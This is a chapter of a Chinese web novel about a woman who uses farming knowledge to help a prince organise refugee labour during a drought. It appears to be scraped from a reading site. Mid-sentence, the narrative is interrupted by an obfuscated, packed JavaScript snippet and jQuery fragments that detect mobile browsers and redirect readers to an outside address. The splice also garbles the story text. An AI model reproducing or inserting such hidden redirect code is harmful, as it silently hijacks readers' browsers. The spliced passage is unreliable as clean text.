17. 第十七章
作品:《靠种地养了个王爷》 姜禾虽然嘴上应得利落,可当萧昫的手真的覆上她的小腿时,她整个人都僵住了。
萧昫的手掌心很烫,隔着薄薄的裤料一下一下按压着她酸痛的肌肉,姜禾只觉得有股热意从脚踝直冲脑门。
“够、够了!”姜禾猛地缩回了腿,道:“我好多了,好多了!”
姜禾不知道这个世界讲不讲究男女大防,但她从来没和异性这样亲密接触过,实在受不了啊,再不叫停估计她脸烫得都能烧穿地心了。
萧昫愣了愣,还以为是自己手法不对,按疼了她,也不敢再动。
他抬眼看去,却见她耳根通红,眼神飘忽不定,这才反应过来,心中懊恼自己的唐突。
“对不住,是我冒昧了。”
“没事没事!是我应了的,怎么能怪你呢!”
萧昫见她没有责怪,本该松口气,可看了她一眼后,又觉得不是滋味。
她怎么能这样呢?
转眼间神色就已如常,还能把话说得这么坦荡,还真是坦荡得让人神伤呢。
萧昫无声叹了口气,见她眉眼间挥之不去的疲惫,以及脸上沾着的泥土,起身去端了盆清水,拧了块帕子递给她。
“擦擦脸吧。”
姜禾接过帕子,胡乱在脸上擦了几把。
萧昫见她擦得马虎,眉头微皱,想说什么,最终还是忍住了。
过了一会儿,萧昫忽然喊道:“姜禾。”
“嗯?”姜禾懒洋洋地应了一声。
应完之后才发现不对劲。
姜禾还是很不习惯人家叫她这个名字,当然也没别人叫,就萧昫一个人叫。她也问过他怎么知道这个名字的,萧昫但笑不语,她就知道问不出什么了。
虽然她从没正面承认过“姜禾”是自己的名字,可萧昫跟认定了似的。而姜禾被人叫了二十多年,每次一叫,她就条件反射地想应。
这不,就又上套了。
也不知道萧昫到底背着她查到了什么,可不管查到什么怀疑什么,他倒是挺能忍的,竟然什么都不问,也没有什么反常之举。本着敌不动我不动的心思,姜禾自然也不会主动戳破。
姜禾看着他,道:“怎么了?”
萧昫喉头微动,似乎想说什么,却又在看到她眼中的戒备时顿住了。他移开目光,不再看她,声音听起来比方才冷了几分:“别太累着自己了。”
“哈?”
“你懂农事,又有见识,这才是你真正的价值所在。我请你来,是因为相信你的能力,而不是需要多一个去田里干活的人。”
姜禾:“???”
她当然知道自己的价值不在于能挑多少桶水、能浇多少亩地,而是用现代农业知识帮他们科学抗旱、减少损失。
可问题是,那么多号人,浇水的浇水,锄地的锄地,看着都在干活,但感觉乱糟糟的,效率也不高,更不用说还有磨洋工和阳奉阴违的。
想想之前在李家村的时候,多简单啊!
村长一声吆喝,大伙儿二话不说就动起来,谁家的地谁家管,个个都尽心尽力。
那时候虽然也累,但心齐啊,干什么都顺。
可现在这批人,完全配合不起来!
姜禾越想越愁,长睫低垂,眼底的忧郁快要溢出来了。
萧昫看着她皱起的眉头,心里莫名有些后悔话说得重了,正要说些什么缓解氛围,却见她忽然抬起头来,方才的忧郁一扫而空,整个人又神采奕奕起来。
“王爷。”姜禾有些不好意思地抿了抿唇,道:“我能问你个事吗?”
萧昫微微一愣,方才她看过来的眼神还满是戒备,仿佛生怕他会突然发难,问些她不想回答的问题。
可这会儿,却如此毫不设防地向他求助?
没等他回答,姜禾已经自顾自说了起来。
“就是,我今天碰到个挺棘手的事。”
姜禾刚开始还觉得有些难以启齿,但说着说着反而不觉得有什么不好意思的了。能坦然承认自己的不足并虚心请教,本身就是件很勇敢的事情啊。
姜禾把白天的情况仔细描述了一遍,说完补充道:“后面还要浅锄保墒、耕地种粟、开荒种菜,这么多事儿,总不能一直这样乱下去吧。”
“你说我是不是哪里做得不对?”
萧昫深深地看了她一眼,没有立刻说话。
姜禾见他只是看着自己并不作声,虽不清楚他此时在想什么,却也没了先前的不自在,只是在那份异样的静谧中,坦然又耐心地等着。
半晌,萧昫才道:“你要管的不是事,而是人。用对的人,而不是事必躬亲。”
“你想想在李家村的时候,为什么好干?”
要命,这句话简直问到了姜禾心坎上,她也不止一次想过这个问题。
“因为不是你亲自指导每一个人,而是有村长这个中间枢纽,村长懂人、懂事、有威望,他一句话顶你姜禾十句。”
“可眼下这批人,大多是流民,来路不同,想法也不同,你若把他们当成一群人来使唤,自然是乱的。”
“你的意思是,我要在他们中间找到‘村长’这样的核心人物,特别是灾民里的村长们,比如逃难路上自然形成的带头人?”
萧昫心道,这会倒是好聪明。
“不错,可以任命他们为队正。你要做的,就是告诉队正每天的任务和具体做法。至于怎么安排人手,让队正自己去分配,他们更了解底下的人,你只需定期检查成果便是。”
姜禾听完豁然开朗,对萧昫的手段佩服的五体投地,恨不得给他磕个大的,嘴上谢谢谢谢说个不停。
萧昫听完哼笑一声,道:“要谢也该是我谢你,到底是我请你来帮忙,你还如此尽心尽力,当真是我之幸事啊!”
姜禾笑容僵住。
这话怎么听着怪怪的?
虽说是道谢,但总觉得不像什么好话。
她看了萧昫一眼,见他一本正经的样子,又不确定了。
难道是自己想多了?
只是时候也不早了,还没等她再说些什么,萧昫就起身准备离开。
走到门口时,萧昫忽然停下脚步,背对着她道:“明日我陪你一道去田里,帮你把队正的人选定下来。”
说完也不等姜禾回应,径直推门而出。
一夜无梦。
姜禾第二天起来用完早饭,本想着叫萧昫一块儿去田里,却在院子里碰见了郑安。
“姜姑娘这是要去找王爷?”
姜禾点了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032373|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点头。
“王爷一早就去了田里,让属下转告姑娘,嗯……不必等他。”
不必等他?明明是他不等人家好吧。郑安心里吐槽。
“这么早?”
“是啊,卯时刚过就出门了。”
姜禾只好作罢。
等她赶到地里时,发现萧昫已经把一切都安排妥当了。
放眼望去,一队队人井然有序地站着,和昨天那副乱糟糟的景象截然不同。
姜禾见状,先是安排一队人去已经浇好水的地里浅耕一遍,疏松土壤,又安排另外几队去那些枯死麦田的无主之地,先把干枯的麦秆割掉,再翻耕土地。
田埂上,萧昫正背着手与田官说话,晨光落在他身上,倒真有几分躬身农桑的贤王之态。
姜禾走过去,听了一耳朵,说得是她昨天和田官讨论过的被抛荒土地的事情。
萧昫到底是生在皇权之下,长于庙堂之上,出手便是雷霆手段。
直接下令所有土地必须与现有人丁对应,地契、户籍、税册三者缺一不可。若是人与地对不上号,或是仅持地契,无法提供耕种和纳税记录的,一律视为无主荒地,即刻收归公田。
并且着手将这些荒地改为屯田区,所有流民都被编入屯田户籍,派兵驻扎,兵民合一耕种。如此一来,豪强再想要回抵押的土地,早已是不可能。
姜禾听完,暗暗佩服萧昫的手段,心道以后可不能得罪他。
正想着,萧昫突然看了她一眼,姜禾干笑着打了个招呼,然后走开了。
哎,总觉得萧昫今天怪怪的。
姜禾摇摇头,把这些杂念抛开,带着安排好的几队人去荒地种粟。
结果到了地头,发现农具不够用。
几队人大眼瞪小眼地站着,瞪了半天,好不容易才把农具凑齐。
看着这光景,姜禾心里升起一股不好的预感,试探着问道:“那、耕牛呢?有没有?”
众人面面相觑,齐齐摇头。
姜禾深吸一口气:“种子粮呢?总有吧?”
还是摇头。
姜禾:“……”
姜禾呵呵呵干笑了几声。
一旁的王氏见状,道:“咱们这地方三年两头闹旱灾,每次旱灾过后都是这副光景,无钱买种,无牛耕地。”
姜禾听得心里发沉。
没牛没种子,这地要怎么种?
正想着该如何是好,萧昫走了过来。
她看了眼萧昫,斟酌道:“王爷,这次旱灾太重,农户们家里的种子粮都吃光了,您看能不能让官府救济一些?哪怕是借,秋收后再还也成。”
萧昫闻言,嘴角勾起一抹似笑非笑的弧度,道:“姜姑娘这话说得轻巧。本王也想出啊,可官府如今一穷二白,连现在发的那些赈灾粮,都是本王厚着脸皮,向那些豪强富绅强‘借’来的。等这一波借来的粮发完,估计就没人愿意借第二次了。到时候,本王可真得变借为抢了。”
姜禾听出这话不对味,却也想不透他今天到底是怎么了。
眼下要紧的还是种子粮。
要了命了!
姜禾这辈子,哦应该是上辈子了,从来没穷过的一个人,现在竟然落魄到种个地连种子粮都拿不出来。

